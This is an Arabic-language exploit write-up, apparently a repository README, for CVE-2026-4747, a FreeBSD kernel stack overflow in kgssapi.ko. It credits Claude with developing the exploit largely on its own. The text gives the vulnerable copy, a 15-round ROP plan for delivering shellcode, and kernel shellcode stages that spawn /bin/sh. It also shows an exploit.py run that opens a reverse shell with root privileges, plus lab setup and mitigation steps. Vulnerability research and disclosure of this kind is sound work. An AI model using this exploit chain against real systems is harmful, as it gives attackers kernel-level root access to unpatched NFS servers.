
استغلال تنفيذ التعليمات البرمجية عن بُعد (RCE) على مستوى النواة لنظام FreeBSD CVE-2026-4747، وهو تجاوز سعة المخزن المؤقت للمكدس في kgssapi.ko يؤدي إلى الحصول على صلاحيات الجذر (root shell) عبر سلسلة ROP وشيلكود.
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
تجاوز سعة المخزن المؤقت في المكدس في kgssapi.ko → شل جذر خلال ~4 ساعات
"أول استغلال لثغرة تنفيذ كود عن بُعد في النواة تم اكتشافه واستغلاله بواسطة ذكاء اصطناعي. الوقت الإجمالي: ~4 ساعات من العمل الفعلي."
— اكتشفه Nicholas Carlini باستخدام Claude (Anthropic) · نُشر في 26 مارس 2026
CVE-2026-4747 هي ثغرة تجاوز سعة المخزن المؤقت في المكدس (stack buffer overflow) تقع في kgssapi.ko، وحدة نواة FreeBSD التي تنفذ مصادقة RPCSEC_GSS لنظام NFS.
تقوم الدالة svc_rpc_gss_validate() بنسخ محتوى بيانات الاعتماد (credential body) الذي يتحكم فيه المهاجم إلى مخزن مؤقت بحجم 128 بايت في المكدس (rpchdr[]) دون التحقق من الحجم. وبما أن 32 بايت مشغولة بالفعل بحقول ترويسة RPC، فلا يتبقى سوى 96 بايت متاحة — لكن طبقة XDR تسمح ببيانات اعتماد يصل حجمها إلى 400 بايت، مما يعطي 304 بايت من التجاوز.
| الحقل | القيمة |
|---|---|
| CVE ID | CVE-2026-4747 |
| CWE | CWE-121 (تجاوز سعة المخزن المؤقت في المكدس) |
| المكوّن | kgssapi.ko / librpcgss_sec |
| البروتوكول | NFS / RPCSEC_GSS / Kerberos |
| الامتياز المطلوب | تذكرة Kerberos صالحة (امتياز منخفض) |
| التأثير | تنفيذ كود عن بُعد في النواة → uid 0 |
| CVSS | 9.8 حرجة |
| تم التصحيح | FreeBSD-SA-26:08.rpcsec_gss |
26 مارس 2026 ── FreeBSD تنشر FreeBSD-SA-26:08.rpcsec_gss
الإشادة: "Nicholas Carlini باستخدام Claude، Anthropic"
29 مارس 2026 ── 09:45 صباحًا بتوقيت المحيط الهادئ: طُلب من Claude تطوير استغلال
05:00 مساءً بتوقيت المحيط الهادئ: Claude يسلم شل جذر يعمل
الإجمالي: ~7 ساعات زمنية / ~4 ساعات من العمل الفعلي لـ Claude
كان الإنسان بعيدًا عن الجهاز (AFK) خلال معظم العملية.
/* في svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128]; /* مخزن مؤقت في المكدس */
/* 32 بايت مستهلكة بالفعل بحقول ترويسة RPC */
/* لم يتبق سوى 96 بايت متاحة */
/* XDR يسمح ببيانات اعتماد يصل حجمها إلى 400 بايت */
/* 400 - 96 = 304 بايت من التجاوز → اختطاف RIP */
memcpy(rpchdr, credential_body, credential_len); /* ← خطأ: بدون التحقق من الحجم */
FreeBSD 14.x لا يحتوي على:
int32_t[])هذا يجعل الانتقال من التجاوز → التحكم في RIP مباشرًا.
المهاجم (الشبكة)
│
│ تذكرة Kerberos صالحة لـ nfs/target@REALM
│
▼
خادم NFS (المنفذ 2049/TCP)
│
│ طلب RPCSEC_GSS مع credential_len = 400
│
▼
svc_rpc_gss_validate() ← حلقة النواة 0
│
│ memcpy بدون التحقق من الحجم
│ [مخزن مؤقت 128 بايت + تجاوز 304 بايت]
│
▼
تدمير المكدس → التحكم في RIP → سلسلة ROP → شيلكود
│
▼
kproc_create() + kern_execve("/bin/sh") → شل عكسي بـ uid=0
حلّ Claude 6 مشاكل مختلفة للانتقال من النشرة الاستشارية إلى شل الجذر:
# جهاز افتراضي FreeBSD 14.4-RELEASE مع:
# - معالجان أو أكثر (FreeBSD يطلق 8 خيوط NFS لكل معالج؛ الاستغلال يحتاج 15 جولة)
# - تحميل kgssapi.ko
# - تفعيل NFS على المنفذ 2049
# - إعداد MIT Kerberos KDC (مطلوب للوصول إلى الكود القابل للاستغلال)
# - إعادة توجيه المنافذ في QEMU: host:2049 → guest:2049، host:8888 → guest:88 (KDC)
# إعداد Kerberos الحرج على جهاز المهاجم:
# /etc/krb5.conf
[libdefaults]
rdns = false # بدون هذا: تذكرة لـ nfs/localhost@REALM (غير صحيحة)
dns_canonicalize_hostname = false # الخادم يرفض مع KRB5KRB_AP_WRONG_PRINC
حجم الشيلكود 432 بايت لكن لا يتوفر سوى 200 بايت لسلسلة ROP لكل حزمة.
الجولة 1: ROP → pmap_change_prot(BSS, RWX) ← جعل BSS قابلاً للتنفيذ
الجولات 2-14: ROP → كتابة 32 بايت من الشيلكود إلى BSS (4 كتابات × 8 بايت)
الجولة 15: ROP → كتابة آخر بايتات + القفز إلى الشيلكود
الميزانية لكل جولة: 4 كتابات × 40 بايت = 160 بايت + 24 بايت للخروج = 184 بايت ✓ (< 200)
; كل جولة تنتهي بـ kthread_exit(0) بدلاً من العودة العادية
; الخادم لا ينهار — ببساطة يفقد خيط NFS واحد
; مع معالجين: 16 خيطًا متاحًا → كافٍ لـ 15 جولة
# تسلسل De Bruijn → كل سلسلة فرعية من 8 بايت فريدة
# إرسالها كـ credential body → انهيار النواة → قراءة RIP من تفريغ الانهيار
# فك التجميع قال الإزاحة 168 → الحقيقي: 200 بايت
# الفرق: 32 بايت من ترويسة GSS التي لم يشملها التحليل الثابت
pattern = cyclic(400) # De Bruijn من 400 بايت
# تفريغ الانهيار: مؤشر التعليمات = 0x6941624162423941
# → cyclic_find(0x6941624162423941) = 200
يعمل الشيلكود في خيط NFS نقي من النواة — بدون vmspace، بدون trapframe.
/* المرحلة 1 (في شيلكود خيط NFS المختطف): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* قتل خيط NFS بشكل نظيف */
/* المرحلة 2 (في العملية الجديدة): */
/* 1. مسح سجلات التصحيح (خطأ في العتاد - انظر الخطوة 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. تنفيذ /bin/sh */
kern_execve("/bin/sh", args, envp);
/* 3. حرج: مسح علامة P_KPROC */
/* بدون هذا، يستدعي fork_exit() الدالة kthread_exit() ويقتل العملية */
proc->p_flag &= ~P_KPROC;
/* 4. العودة → fork_exit() → userret() → iretq → الحلقة 3 → شل بـ uid=0 */
الأعراض: العملية الفرعية تنهار مع trap 1 (استثناء تصحيح) عند تعليمة صالحة.
السبب: kproc_create/fork1 ينسخ PCB من العملية الأم، مورثًا نقاط توقف DDB
التي بقيت من انهيارات سابقة أثناء تطوير الاستغلال.
الإصلاح: تعليمتان قبل kproc_create:
xor eax, eax
mov dr7, rax ← تعطيل جميع نقاط توقف العتاد
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: استغلال تنفيذ كود عن بُعد في نواة FreeBSD RPCSEC_GSS
تجاوز المكدس → ROP → شيلكود → شل عكسي بـ uid 0
==============================================================
الهدف: 127.0.0.1:2049
الاستدعاء العكسي: 10.0.2.2:4444
SPN: nfs/[email protected]
الشيلكود: 432 بايت (54 كلمة رباعية)
التسليم: 15 جولة (1 pmap + 14 كتابة)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS أصبح الآن RWX
[R2/15] كتابة (4 كلمات رباعية → 0xffffffff8198a800) ✓
[R3/15] كتابة (4 كلمات رباعية → 0xffffffff8198a820) ✓
...
[R15/15] كتابة + تنفيذ → القفز إلى 0xffffffff8198a800
[*] تم تسليم الشيلكود وتنفيذه.
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] شل عكسي → 10.0.2.2:4444
[+] اتصال من 127.0.0.1:41320
[+] تم الحصول على الشل!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# تنزيل FreeBSD 14.4-RELEASE
curl -O https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4/FreeBSD-14.4-RELEASE-amd64-disc1.iso
# إنشاء القرص وتشغيل الجهاز الافتراضي مع معالجين أو أكثر
qemu-img create -f qcow2 freebsd-vuln.qcow2 20G
qemu-system-x86_64 \
-hda freebsd-vuln.qcow2 \
-cdrom FreeBSD-14.4-RELEASE-amd64-disc1.iso \
-m 2G \
-smp 2 \ # معالجان أو أكثر لـ 16+ خيط NFS
-net user,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-net nic \
-nographic 2>&1 | tee qemu.log # سجل لقراءة تفريغات الانهيار
# داخل FreeBSD: إعداد NFS + Kerberos
kldload kgssapi
echo 'nfs_server_enable="YES"' >> /etc/rc.conf
echo 'gssd_enable="YES"' >> /etc/rc.conf
# إعداد KDC أساسي
pkg install heimdal
# إنشاء principals: nfs/[email protected]، [email protected]
kadmin -l add nfs/[email protected]
kadmin -l add [email protected]
1. تثبيت FreeBSD 14.4-RELEASE في VMware
2. في محول الشبكة: اختر "NAT" أو "Host-only"
3. إعداد إعادة توجيه المنافذ في VMware NAT:
- Host 2049 TCP → Guest 2049
- Host 88 TCP/UDP → Guest 88 (KDC)
4. نفس إعداد NFS/Kerberos كما في QEMU
5. في /etc/krb5.conf على جهاز المهاجم:
kdc = 127.0.0.1:88 (يشير إلى إعادة توجيه المنفذ)
# تحديث FreeBSD إلى الإصدار المُصحح
freebsd-update fetch install
# التحقق من أن النشرة الاستشارية مُصححة
freebsd-version -k # يجب أن يعرض إصدارًا بعد SA-26:08
# 1. تعطيل kgssapi إذا لم يكن RPCSEC_GSS ضروريًا
kldunload kgssapi
# في /boot/loader.conf:
# kgssapi_load="NO"
# 2. تقييد الوصول إلى NFS بجدار حماية
ipfw add deny tcp from any to any 2049 not via lo0
# أو مع pf:
# block in quick on em0 proto tcp to port 2049
# 3. طلب مصادقة Kerberos فقط من عناوين IP موثوقة
# /etc/exports:
# /data -sec=krb5 -network=192.168.1.0 -mask=255.255.255.0
تقضي أجهزة الكمبيوتر عقودًا في العثور على الأخطاء باستخدام أدوات الفازينج. لكن العثور على خطأ واستغلاله شيئان مختلفان تمامًا. يتطلب تطوير الاستغلالات فهم النواة، وبناء سلاسل ROP، والتعامل مع تخطيطات الذاكرة، وتصحيح الانهيارات، والتكيف عندما يفشل شيء ما.
كان هذا دائمًا يُعتبر مجالًا حصريًا للبشر.
CVE-2026-4747 يثبت أن هذا الخط قد تحرك.
حلّ Claude 6 مشاكل في تطوير استغلالات النواة بشكل مستقل في ~4 ساعات: إعداد المختبر، تسليم الحزم المتعددة، الخروج النظيف من الخيوط، تصحيح الإزاحة، الانتقال من النواة إلى مساحة المستخدم، وخطأ نقطة توقف عتاد غير موثق. استغلالان وظيفيان باستراتيجيتين مختلفتين. كلاهما نجح من المحاولة الأولى.
هذا المستودع مخصص حصريًا لأبحاث الأمن السيبراني والتوثيق الفني والأغراض التعليمية. تم تطوير الاستغلال الموثق هنا في بيئة خاضعة للتحكم وتم الإبلاغ عنه بمسؤولية إلى القائمين على صيانة FreeBSD قبل نشره. لا تستخدمه ضد أنظمة دون إذن صريح ومكتوب. المؤلف غير مسؤول عن أي استخدام غير لائق.
الإشادة الأصلية: Nicholas Carlini + Claude (Anthropic) النشرة الاستشارية: FreeBSD-SA-26:08.rpcsec_gss
تجاوز المكدس → ROP → شيلكود → kproc_create → iretq → uid=0